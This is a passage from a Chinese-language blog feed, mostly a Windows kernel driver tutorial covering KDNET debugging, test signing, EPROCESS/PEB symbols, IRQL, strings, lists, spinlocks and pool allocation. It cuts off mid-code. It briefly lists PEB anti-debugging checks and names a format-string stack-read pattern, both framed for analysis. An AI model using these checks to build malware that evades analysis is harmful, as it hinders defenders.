<code>printf(argv[1])</code> 用 <code>%x</code> 读栈在哪儿都照样能读，所以格式化字符串到今天也还是真实存在的漏洞，只是想靠它写内存难多了。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/windows-kernel-driver-basics/</id>
      <title type="text">Windows 内核驱动入门，调试环境与内核编程基础</title>
      <published>2020-10-17T00:00:00.000Z</published>
      <updated>2020-10-17T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/windows-kernel-driver-basics/"/>
      <summary type="text">用 KDNET 和 WinDbg 搭一个内核调试环境，用符号去看 EPROCESS 和 PEB，然后写第一个驱动，看 System 进程上下文、IRQL、字符串、链表、自旋锁、池分配和内核对象。</summary>
      <content type="html"><![CDATA[<blockquote><p>这一篇是 2020 年两套内核笔记合起来重写的。先是搭调试环境的《Windows内核调试学习笔记》两篇，然后是《Windows内核学习笔记》两篇讲编程基础的。当时的实验环境是 VMware 里的 Windows 7 x86 加串口调试，到 2026 年这套早该换了，所以调试环境这部分整个重写成网络调试（KDNET）；编程基础那部分主体仍然成立，但代码里有几处会真的让驱动死锁或者泄漏的 bug，这次一并改掉。</p></blockquote>
<section><h2>现在的内核调试环境怎么搭<a href="#现在的内核调试环境怎么搭"><span>#</span></a></h2><p>当年用的是 VMware 虚拟串口 + <code>msconfig</code> 开调试 + WinDbg 连命名管道。这套今天还能跑，但没必要了。从 Windows 8 起内核调试可以直接走网络，用 KDNET 一条命令配好，比配虚拟串口省事得多。</p><section><h3>需要的东西<a href="#需要的东西"><span>#</span></a></h3><blockquote><p>开发机</p></blockquote><ul>
<li>Windows 10/11 x64</li>
<li>Visual Studio 2022，装”使用 C++ 的桌面开发”</li>
<li>Windows Driver Kit（和 VS 配套的那个版本）</li>
<li>WinDbg（现在直接在 Microsoft Store 装 “WinDbg”，就是原来 WinDbg Preview 的正式版）</li>
</ul><blockquote><p>测试机</p></blockquote><ul>
<li>Windows 10/11 x64 虚拟机</li>
<li>DebugView（看 <code>DbgPrint</code> 输出的老工具，Sysinternals 的）</li>
</ul></section><section><h3>配置 KDNET<a href="#配置-kdnet"><span>#</span></a></h3><p>在测试机里用管理员权限跑 WDK 带的 <code>kdnet.exe</code>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>kdnet.exe &lt;开发机的IP&gt; &lt;端口&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>它会打印一串调试密钥，并自动把调试配置写进测试机的启动项，然后让你重启。注意每次重新配置都会生成新的密钥，要用新的那个。虚拟机的话，把网络设成桥接或者和开发机同一个 NAT 网段，让两边能互相 ping 通。</p><p>重启后，在开发机的 WinDbg 里选 <code>File -&gt; Attach to kernel -&gt; Net</code>，填端口和那串密钥，就能连上了。符号路径设成 <code>SRV*C:\Symbols*https://msdl.microsoft.com/download/symbols</code>，第一次连会自动下载对应的 PDB，慢一点是正常的。</p><blockquote><p>当年笔记里还有一段用 VMware 序列号和迅雷链接下 Win7 镜像的步骤，这些当然都删掉了，今天也没人需要 Win7 x86 来学内核。</p></blockquote></section><section><h3>打开测试签名<a href="#打开测试签名"><span>#</span></a></h3><p>自己写的驱动没有正式签名，测试机上要么开测试模式，要么用 WinDbg 连上去之后直接改：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>bcdedit /set testsigning on</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>改完重启，桌面右下角会出现”测试模式”的水印。虚拟机里做实验没问题；真机上最好不要长期开着，因为测试模式下任何没有签名的驱动都能加载，等于自己把最后一道门打开了。</p><hr /></section></section>
<section><h2>用符号去看内核结构<a href="#用符号去看内核结构"><span>#</span></a></h2><p>内核里绝大多数结构是不公开的，但微软给 Windows 发了 PDB 符号，所以只要有符号，WinDbg 就能把结构体的字段名和偏移都列出来。这是读内核最重要的一件事，<strong>不用去背偏移，让符号告诉你</strong>。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>kd&gt; dt nt!_EPROCESS</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>+0x000 Pcb              : _KPROCESS</span></div></div><div><div><div>3</div></div><div><span><span>   </span></span><span>+0x440 UniqueProcessId  : Ptr64 Void</span></div></div><div><div><div>4</div></div><div><span><span>   </span></span><span>+0x448 ActiveProcessLinks : _LIST_ENTRY</span></div></div><div><div><div>5</div></div><div><span><span>   </span></span><span>...</span></div></div><div><div><div>6</div></div><div><span>kd&gt; dt nt!_EPROCESS -b    // 展开子结构</span></div></div><div><div><div>7</div></div><div><span>kd&gt; dt nt!_PEB</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>几个常用的：</p><ul>
<li><code>dt</code> 看结构，<code>-b</code> 递归展开，<code>-r</code> 看原始偏移</li>
<li><code>!process 0 0</code> 列出所有进程的 EPROCESS 地址和名字</li>
<li><code>!peb</code> 直接看某个进程的 PEB</li>
<li><code>kd&gt; ? @@(nt!_EPROCESS.ActiveProcessLinks)</code> 算某个字段的偏移</li>
</ul><blockquote><p>偏移随版本变，这是内核编程里最容易踩的坑。当年整理的 <code>dt _EPROCESS</code> 和 <code>dt _PEB</code> 完整输出（几百行）贴了两篇，只对 Win7 x86 SP1 有效，到 x64 上全都不一样了，所以这里不贴整段 dump，记住”怎么查”比记住”是多少”有用得多。</p></blockquote><section><h3>顺便说几个反调试点<a href="#顺便说几个反调试点"><span>#</span></a></h3><p>虽然现在看有点怀旧，但 PEB 里这几个字段至今还被用来判断是否被调试，讲恶意代码分析时经常遇到：</p><ul>
<li><code>PEB-&gt;BeingDebugged</code>(x86 <code>+0x002</code>，x64 <code>+0x002</code>) 表示进程是否被调试。这个字段在用户态就能改，所以单靠它做反调试很弱</li>
<li><code>PEB-&gt;NtGlobalFlag</code>(x86 <code>+0x068</code>，x64 <code>+0x0BC</code>) 平时是 0，被调试器创建进程时会带上 <code>FLG_HEAP_ENABLE_TAIL_CHECK(0x10) | FLG_HEAP_ENABLE_FREE_CHECK(0x20) | FLG_HEAP_VALIDATE_PARAMETERS(0x40)</code>，也就是 <code>0x70</code></li>
<li>堆上的 <code>Flags</code>/<code>ForceFlags</code>。调试状态下堆的标志位和 <code>ForceFlags</code> 会被改成非 0（<code>ForceFlags</code> 平时是 0）</li>
</ul><hr /></section></section>
<section><h2>第一个驱动<a href="#第一个驱动"><span>#</span></a></h2><p>还是用最经典的 HelloWorld 开始：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;ntddk.h&gt;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>VOID </span><span>DriverUnload</span><span><span>(</span><span>PDRIVER_OBJECT </span><span>DriverObject</span><span>)</span></span></div></div><div><div><div>4</div></div><div><span>{</span></div></div><div><div><div>5</div></div><div><span>    </span><span>DbgPrint</span><span>(</span><span>"[</span><span>%</span><span>ws] Driver Unload, Driver Object Address: </span><span>%p</span><span>\n</span><span>"</span><span>, __FUNCTIONW__, DriverObject);</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>NTSTATUS </span><span>DriverEntry</span><span><span>(</span><span>PDRIVER_OBJECT </span><span>DriverObject</span><span>,</span><span> PUNICODE_STRING </span><span>RegistryPath</span><span>)</span></span></div></div><div><div><div>9</div></div><div><span>{</span></div></div><div><div><div>10</div></div><div><span>    </span><span>DbgPrint</span><span>(</span><span>"[</span><span>%</span><span>ws] Hello Kernel World!</span><span>\n</span><span>"</span><span>, __FUNCTIONW__);</span></div></div><div><div><div>11</div></div><div><span>    </span><span>if</span><span> (DriverObject </span><span>!=</span><span> </span><span>NULL</span><span>)</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>13</div></div><div><span>        </span><span>DbgPrint</span><span>(</span><span>"[</span><span>%</span><span>ws] Driver Object Address: </span><span>%p</span><span>\n</span><span>"</span><span>, __FUNCTIONW__, DriverObject);</span></div></div><div><div><div>14</div></div><div><span>        </span><span>DriverObject</span><span>-&gt;</span><span>DriverUnload</span><span> </span><span>=</span><span> DriverUnload;</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>    </span><span>if</span><span> (RegistryPath </span><span>!=</span><span> </span><span>NULL</span><span>)</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>18</div></div><div><span>        </span><span>DbgPrint</span><span>(</span><span>"[</span><span>%</span><span>ws] Driver Registry Path: </span><span>%</span><span>wZ</span><span>\n</span><span>"</span><span>, __FUNCTIONW__, RegistryPath);</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span>    </span><span>return</span><span> STATUS_SUCCESS;</span></div></div><div><div><div>22</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>DriverEntry</code> 是入口，相当于 <code>main</code>；给它设上 <code>DriverUnload</code> 之后，<code>sc stop</code> 才能正常卸载。编译成 <code>.sys</code>，用 <code>sc create</code> 注册成内核服务再 <code>sc start</code>，或者直接拿 OSR 的 loader 之类工具加载。</p><section><h3>驱动跑在哪个进程里<a href="#驱动跑在哪个进程里"><span>#</span></a></h3><p>这个问题我第一次写驱动时特别好奇，加一句 <code>PsGetCurrentProcessId()</code> 就知道了：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>DbgPrint</span><span>(</span><span>"[</span><span>%</span><span>ws] Hello Kernel World, Current Process Id=0x</span><span>%p</span><span>\n</span><span>"</span><span><span>,</span><span> __FUNCTIONW__</span><span>,</span><span> </span></span><span>PsGetCurrentProcessId</span><span>());</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>结果无论是 <code>DriverEntry</code> 还是卸载回调，拿到的都是 PID 4，也就是 <strong>System 进程</strong>。System 不是普通意义上的进程，是系统虚拟出来代表内核的一个进程，驱动就是在它的上下文里跑的。</p><p>这件事的实际含义是：<strong>驱动的上下文和应用层的上下文要严格分开</strong>。如果进程 A 正在运行（CPU 当前在 A 的虚拟地址空间里），而驱动恰好也在这个 CPU 上执行，那驱动访问到的”用户态地址”就是 A 的地址空间；换一个进程调用同一个驱动，那些地址指向的东西就完全不同了。所以驱动里拿到用户态指针，第一件事是校验它、并且用 <code>ProbeForRead</code>/<code>ProbeForWrite</code> 或者在 <code>try/except</code> 里访问，绝不能想当然。</p></section><section><h3>IRQL<a href="#irql"><span>#</span></a></h3><p>线程有优先级，调度器按时间片和优先级调度；驱动层对应的是 <strong>IRQL（中断请求级别）</strong>，高 IRQL 的代码可以打断、抢占低 IRQL 的代码。这是内核编程里最重要的一个概念，因为它决定了你在这个时刻<strong>能调用什么函数、能访问什么内存</strong>。</p>

<table><thead><tr><th>IRQL</th><th>数值</th><th>典型场景</th><th>能做什么</th></tr></thead><tbody><tr><td>PASSIVE_LEVEL</td><td>0</td><td>应用层线程、大部分内核函数</td><td>几乎可以调用所有内核 API，可以访问分页和非分页内存，可以等</td></tr><tr><td>APC_LEVEL</td><td>1</td><td>APC、页错误处理时</td><td>可以用大部分内核 API，仍可访问分页内存</td></tr><tr><td>DISPATCH_LEVEL</td><td>2</td><td>DPC、持有自旋锁时</td><td>只能用特定 API，<strong>只能访问非分页内存</strong>，不能等</td></tr></tbody></table><p><code>DriverEntry</code> 的 IRQL 是 <code>PASSIVE_LEVEL</code>，这是系统保证的。想知道当前值就调 <code>KeGetCurrentIrql()</code>。第一次跑出来看到是 0，对照表就知道自己处在最宽松的状态。</p><p>写代码之前的习惯，是调每个函数前先看文档里写的 “IRQL: &lt;= DISPATCH_LEVEL” 这类要求，对不上就等着蓝屏。</p></section><section><h3>主动蓝屏<a href="#主动蓝屏"><span>#</span></a></h3><p>驱动写错导致系统崩溃就是蓝屏(BSOD)，常见原因就三类，高 IRQL 下死锁、内存访问违规、函数栈不平衡。</p><p>有时候代码已经进了不可恢复的错误状态，与其带着错误继续跑把内存写花，不如主动 <code>KeBugCheckEx</code> 拉起蓝屏，至少 dump 里能看清第一现场。</p><hr /></section></section>
<section><h2>字符串<a href="#字符串"><span>#</span></a></h2><p>内核里用 <code>UNICODE_STRING</code> 表示字符串，<strong>注意长度以 <code>Length</code> 成员为准，不是靠 <code>'\0'</code></strong>。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> _UNICODE_STRING {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>USHORT Length;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>USHORT MaximumLength;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>PWSTR  Buffer;</span></div></div><div><div><div>5</div></div><div><span>} UNICODE_STRING, </span><span>*</span><span>PUNICODE_STRING;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>初始化用 <code>RtlInitUnicodeString</code>，IRQL &lt;= DISPATCH_LEVEL：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>UNICODE_STRING uFirstString </span><span>=</span><span> {</span><span>0</span><span>};</span></div></div><div><div><div>2</div></div><div><span>RtlInitUnicodeString</span><span>(</span><span>&amp;</span><span><span>uFirstString</span><span>,</span><span> L</span></span><span>"HelloWorld</span><span>\n</span><span>"</span><span>);</span></div></div><div><div><div>3</div></div><div><span>DbgPrint</span><span>(</span><span>"String:</span><span>%</span><span>wZ"</span><span><span>,</span><span> </span></span><span>&amp;</span><span><span>uFirstString</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div></div><div>注意</div></div><div><p>坑：它<strong>不分配 Buffer</strong>，只是让 <code>Buffer</code> 指向你传进去的那个字符串。所以那个字符串必须一直有效。如果是栈上的临时变量，函数返回后 <code>uFirstString</code> 就成了野指针。</p></div></div><p>要复制一份到自己准备好的缓冲区里，用 <code>RtlUnicodeStringCopyString</code>（需要包含 <code>Ntstrsafe.h</code>），IRQL 是 <code>PASSIVE_LEVEL</code>，返回 <code>NTSTATUS</code>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>WCHAR </span><span>strBuf</span><span>[</span><span>128</span><span>] </span><span>=</span><span> {</span><span>0</span><span>};</span></div></div><div><div><div>2</div></div><div><span>UNICODE_STRING uFirstString </span><span>=</span><span> {</span><span>0</span><span>};</span></div></div><div><div><div>3</div></div><div><span>RtlInitEmptyUnicodeString</span><span>(</span><span>&amp;</span><span><span>uFirstString</span><span>,</span><span> strBuf</span><span>,</span><span> </span></span><span>sizeof</span><span><span>(</span><span>strBuf</span><span>));</span></span></div></div><div><div><div>4</div></div><div><span>RtlUnicodeStringCopyString</span><span>(</span><span>&amp;</span><span><span>uFirstString</span><span>,</span><span> L</span></span><span>"Hello Kernel</span><span>\n</span><span>"</span><span>);</span></div></div><div><div><div>5</div></div><div><span>DbgPrint</span><span>(</span><span>"String: </span><span>%</span><span>wZ"</span><span><span>,</span><span> </span></span><span>&amp;</span><span><span>uFirstString</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div></div><div>注意</div></div><div><p>坑：不能往一个”定长 buf 的 String”里 copy 超长内容，否则它会直接按你给的长度写过去，蓝屏报内存读写错误。<code>MaximumLength</code> 是硬边界，传参时永远要保证它等于缓冲区真实大小。</p></div></div><hr /></section>
<section><h2>链表<a href="#链表"><span>#</span></a></h2><p>WDK 的链表是侵入式的，把 <code>LIST_ENTRY</code> 放进你自己的结构体里，而不是让链表节点去持有数据。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> _LIST_ENTRY {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>struct</span><span> _LIST_ENTRY </span><span>*</span><span>Flink;</span><span>  // 后一个</span></div></div><div><div><div>3</div></div><div><span>    </span><span>struct</span><span> _LIST_ENTRY </span><span>*</span><span>Blink;</span><span>  // 前一个</span></div></div><div><div><div>4</div></div><div><span>} LIST_ENTRY, </span><span>*</span><span>PLIST_ENTRY;</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>typedef</span><span> </span><span>struct</span><span> _TestListEntry {</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>ULONG m_ulData1;</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>ULONG m_ulData2;</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>LIST_ENTRY m_ListEntry;</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>ULONG m_ulData3;</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>ULONG m_ulData4;</span></div></div><div><div><div>12</div></div><div><span>} TestListEntry, </span><span>*</span><span>PTestListEntry;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>一般会有一个不装数据的头节点，只作链表锚点。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>LIST_ENTRY ListHeader </span><span>=</span><span> {</span><span>0</span><span>};</span></div></div><div><div><div>2</div></div><div><span>InitializeListHead</span><span>(</span><span>&amp;</span><span><span>ListHeader</span><span>);</span></span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>InsertHeadList</span><span>(</span><span>&amp;</span><span><span>ListHeader</span><span>,</span><span> </span></span><span>&amp;</span><span><span>Entry2.m_ListEntry</span><span>);</span></span></div></div><div><div><div>5</div></div><div><span>InsertHeadList</span><span>(</span><span>&amp;</span><span><span>ListHeader</span><span>,</span><span> </span></span><span>&amp;</span><span><span>Entry1.m_ListEntry</span><span>);</span></span></div></div><div><div><div>6</div></div><div><span>InsertTailList</span><span>(</span><span>&amp;</span><span><span>ListHeader</span><span>,</span><span> </span></span><span>&amp;</span><span><span>Entry3.m_ListEntry</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>遍历的时候，<code>pListEntry</code> 拿到的是 <code>LIST_ENTRY</code> 的地址，不是结构体首地址，要用 <code>CONTAINING_RECORD</code> 换算回去。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PLIST_ENTRY pListEntry </span><span>=</span><span> ListHeader.Flink;</span></div></div><div><div><div>2</div></div><div><span>while</span><span> (pListEntry </span><span>!=</span><span> </span><span>&amp;</span><span>ListHeader)</span></div></div><div><div><div>3</div></div><div><span>{</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>PTestListEntry pTestEntry </span><span>=</span><span> </span><span>CONTAINING_RECORD</span><span>(pListEntry, TestListEntry, m_ListEntry);</span></div></div><div><div><div>5</div></div><div><span>    </span><span>DbgPrint</span><span>(</span><span>"ListPtr=</span><span>%p</span><span>, Entry=</span><span>%p</span><span>, Tag=</span><span>%c</span><span>\n</span><span>"</span><span>, pListEntry, pTestEntry, (CHAR)</span><span>pTestEntry</span><span>-&gt;</span><span>m_ulData1</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>pListEntry </span><span>=</span><span> </span><span>pListEntry</span><span>-&gt;</span><span>Flink</span><span>;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>CONTAINING_RECORD(Address, Type, Field)</code> 就是”已知某字段的地址，求整个结构体的地址”，靠的是编译器算出的字段偏移。这套写法在内核里到处都是（<code>ActiveProcessLinks</code>、<code>ThreadListHead</code> 全是这么用的）。</p><p>移除和判断：</p><ul>
<li><code>RemoveHeadList</code> / <code>RemoveTailList</code> 成功时返回被移除节点的地址，链空时返回 NULL</li>
<li><code>RemoveEntryList</code> 移除指定节点，移除后链表为空返回 TRUE</li>
<li><code>IsListEmpty</code> 空的时候返回 TRUE</li>
</ul><blockquote><p>一个安全习惯，多线程环境下遍历链表必须持锁，否则你 <code>Flink</code> 到一半，另一个 CPU 把下一个节点删了，就是经典的 UAF。</p></blockquote><hr /></section>
<section><h2>自旋锁<a href="#自旋锁"><span>#</span></a></h2><p>自旋锁是内核提供的高 IRQL 锁，用独占的方式来保护某个资源。</p><blockquote><p><strong>注意事项</strong>：自旋锁变量<strong>不能放在函数栈上</strong>，否则每次进函数都重新初始化一遍，等于没加锁。它必须是全局变量，或者挂在设备扩展这类生命周期和锁匹配的对象上。</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>KSPIN_LOCK my_spin_lock;</span><span>   // 全局</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>void</span><span> </span><span>initLock</span><span>()</span></div></div><div><div><div>4</div></div><div><span>{</span></div></div><div><div><div>5</div></div><div><span>    </span><span>KeInitializeSpinLock</span><span>(</span><span>&amp;</span><span>my_spin_lock);</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>void</span><span> </span><span>TestFuncLock</span><span>()</span></div></div><div><div><div>9</div></div><div><span>{</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>KIRQL irql;</span></div></div><div><div><div>11</div></div><div><span>    </span><span>KeAcquireSpinLock</span><span>(</span><span>&amp;</span><span>my_spin_lock, </span><span>&amp;</span><span>irql);</span></div></div><div><div><div>12</div></div><div><span>    </span><span>// 临界区：这里 IRQL 已经被抬到 DISPATCH_LEVEL</span></div></div><div><div><div>13</div></div><div><span>    </span><span>KeReleaseSpinLock</span><span>(</span><span>&amp;</span><span>my_spin_lock, irql);</span></div></div><div><div><div>14</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>KeAcquireSpinLock</code> 会把当前 IRQL 抬到 <code>DISPATCH_LEVEL</code> 并把原值存进 <code>irql</code>，释放时再还原。所以临界区里<strong>不能访问分页内存、不能调任何可能阻塞的函数、不能等</strong>，这也是上面 IRQL 那节的实际用途。</p><section><h3>这里当年写了个会死锁的例子<a href="#这里当年写了个会死锁的例子"><span>#</span></a></h3><p>当年的笔记里，链表那节是这样写的：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>KeAcquireSpinLock</span><span>(</span><span>&amp;</span><span><span>my_spin_lock</span><span>,</span><span> </span></span><span>&amp;</span><span><span>irql</span><span>);</span></span></div></div><div><div><div>2</div></div><div><span>ExInterlockedInsertHeadList</span><span>(</span><span>&amp;</span><span><span>listHead</span><span>,</span><span> </span></span><span>&amp;</span><span><span>my_file_info.m_ListEntry</span><span>,</span><span> </span></span><span>&amp;</span><span><span>my_spin_lock</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>KeReleaseSpinLock</span><span>(</span><span>&amp;</span><span><span>my_spin_lock</span><span>,</span><span> irql</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这段会<strong>自己把自己锁死</strong>。<code>ExInterlockedInsertHeadList</code> 这个 “Ex” 前缀的函数是”我帮你加锁”的意思，它内部会先 <code>KeAcquireSpinLock</code> 拿 <code>my_spin_lock</code>；可你在外面已经拿着同一把锁了。自旋锁不可重入，于是在同一个 CPU 上无限自旋，系统就卡在那了（如果开了死锁检测，会直接 <code>DRIVER_VERIFIER_DETECTED_VIOLATION</code>）。</p><p>两种正确写法，二选一就行。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 写法一：自己持锁，用普通的链表函数</span></div></div><div><div><div>2</div></div><div><span>KeAcquireSpinLock</span><span>(</span><span>&amp;</span><span><span>my_spin_lock</span><span>,</span><span> </span></span><span>&amp;</span><span><span>irql</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>InsertHeadList</span><span>(</span><span>&amp;</span><span><span>listHead</span><span>,</span><span> </span></span><span>&amp;</span><span><span>my_file_info.m_ListEntry</span><span>);</span></span></div></div><div><div><div>4</div></div><div><span>KeReleaseSpinLock</span><span>(</span><span>&amp;</span><span><span>my_spin_lock</span><span>,</span><span> irql</span><span>);</span></span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>// 写法二：不持锁，交给 Ex 版本自己去加</span></div></div><div><div><div>7</div></div><div><span>ExInterlockedInsertHeadList</span><span>(</span><span>&amp;</span><span><span>listHead</span><span>,</span><span> </span></span><span>&amp;</span><span><span>my_file_info.m_ListEntry</span><span>,</span><span> </span></span><span>&amp;</span><span><span>my_spin_lock</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>顺带一提，<code>ExInterlocked*</code> 这组函数在现代 Windows 上基本属于历史遗留了，微软文档里也建议直接用 <code>KeAcquireSpinLock</code> + 普通链表函数，可读性好得多。</p></blockquote><p>另外那个例子里还有个更隐蔽的问题：<code>listHead</code> 和 <code>my_file_info</code> 都是<strong>函数内的局部变量</strong>，函数一返回，链表头和数据就都在栈上了，任何还引用这个链表的地方立刻失效。要么把这个链表做成全局/设备扩展的一部分，要么在函数返回前把节点摘干净。</p></section><section><h3>队列自旋锁<a href="#队列自旋锁"><span>#</span></a></h3><p>多 CPU 平台上队列自旋锁性能更好，而且严格先来先得。初始化一样，但一把锁初始化之后<strong>不能混着用</strong>两种方式：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>KLOCK_QUEUE_HANDLE my_lock_queue_handle;</span></div></div><div><div><div>2</div></div><div><span>KeAcquireInStackQueuedSpinLock</span><span>(</span><span>&amp;</span><span><span>my_spin_lock</span><span>,</span><span> </span></span><span>&amp;</span><span><span>my_lock_queue_handle</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>// 临界区</span></div></div><div><div><div>4</div></div><div><span>KeReleaseInStackQueuedSpinLock</span><span>(</span><span>&amp;</span><span><span>my_lock_queue_handle</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>注意队列锁的那个 handle 是放在栈上的，这是它设计上允许的，锁在全局，handle 在栈上只记状态。</p><hr /></section></section>
<section><h2>池内存<a href="#池内存"><span>#</span></a></h2><section><h3>常规分配<a href="#常规分配"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PVOID buffer </span><span>=</span><span> </span><span>ExAllocatePoolWithTag</span><span><span>(</span><span>NonPagedPoolNx</span><span>,</span><span> </span></span><span>512</span><span><span>,</span><span> </span></span><span>'tag1'</span><span>);</span></div></div><div><div><div>2</div></div><div><span>if</span><span> (buffer)</span></div></div><div><div><div>3</div></div><div><span>{</span></div></div><div><div><div>4</div></div><div><span>    </span><span>ExFreePoolWithTag</span><span>(buffer, </span><span>'tag1'</span><span>);</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>2026 年要改的地方。<code>ExAllocatePoolWithTag</code> 从 <strong>Windows 10 2004 起已被弃用</strong>，官方推荐的替代是 <code>ExAllocatePool2</code>。新代码应该这么写：</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PVOID buffer </span><span>=</span><span> </span><span>ExAllocatePool2</span><span><span>(</span><span>POOL_FLAG_NON_PAGED</span><span>,</span><span> </span></span><span>512</span><span><span>,</span><span> </span></span><span>'tag1'</span><span>);</span></div></div><div><div><div>2</div></div><div><span>if</span><span> (buffer)</span></div></div><div><div><div>3</div></div><div><span>{</span></div></div><div><div><div>4</div></div><div><span>    </span><span>ExFreePoolWithTag</span><span>(buffer, </span><span>'tag1'</span><span>);</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>ExAllocatePool2</code> 默认就把内存清零了（不用再写 <code>HEAP_ZERO_MEMORY</code> 那套），并且在传入 0 长度这类参数错误时会直接返回 NULL，比老 API 老实得多。tag 必须是 1 到 4 个可打印 ASCII 字符，同一段分配路径用同一个 tag，出问题的时候 <code>poolmon</code> 和 <code>!pool</code> 靠它定位。</p></section><section><h3>快表<a href="#快表"><span>#</span></a></h3><p>频繁申请释放同样大小的内存时，用快表（lookaside list，有些地方叫”旁视列表”）会快很多，因为它在自己内部缓存一批固定大小的块，不用每次都过一遍堆分配器。</p><p>当年这个例子写得比较长，逻辑是对的，就是把”分配 → 释放 → 再分配”跑一遍，验证再分配拿到的是刚释放的那块。这里只留骨架：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PNPAGED_LOOKASIDE_LIST pLookasideList;</span></div></div><div><div><div>2</div></div><div><span>pLookasideList </span><span>=</span><span> </span><span>ExAllocatePool2</span><span><span>(</span><span>POOL_FLAG_NON_PAGED</span><span>,</span><span> </span></span><span>sizeof</span><span><span>(</span><span>NPAGED_LOOKASIDE_LIST</span><span>),</span><span> </span></span><span>'test'</span><span>);</span></div></div><div><div><div>3</div></div><div><span>ExInitializeNPagedLookasideList</span><span><span>(</span><span>pLookasideList</span><span>,</span><span> </span></span><span>NULL</span><span><span>,</span><span> </span></span><span>NULL</span><span><span>,</span><span> </span></span><span>0</span><span><span>,</span><span> </span></span><span>128</span><span><span>,</span><span> </span></span><span>'test'</span><span><span>,</span><span> </span></span><span>0</span><span>);</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>PVOID pFirstMemory  </span><span>=</span><span> </span><span>ExAllocateFromNPagedLookasideList</span><span><span>(</span><span>pLookasideList</span><span>);</span></span></div></div><div><div><div>6</div></div><div><span>PVOID pSecondMemory </span><span>=</span><span> </span><span>ExAllocateFromNPagedLookasideList</span><span><span>(</span><span>pLookasideList</span><span>);</span></span></div></div><div><div><div>7</div></div><div>
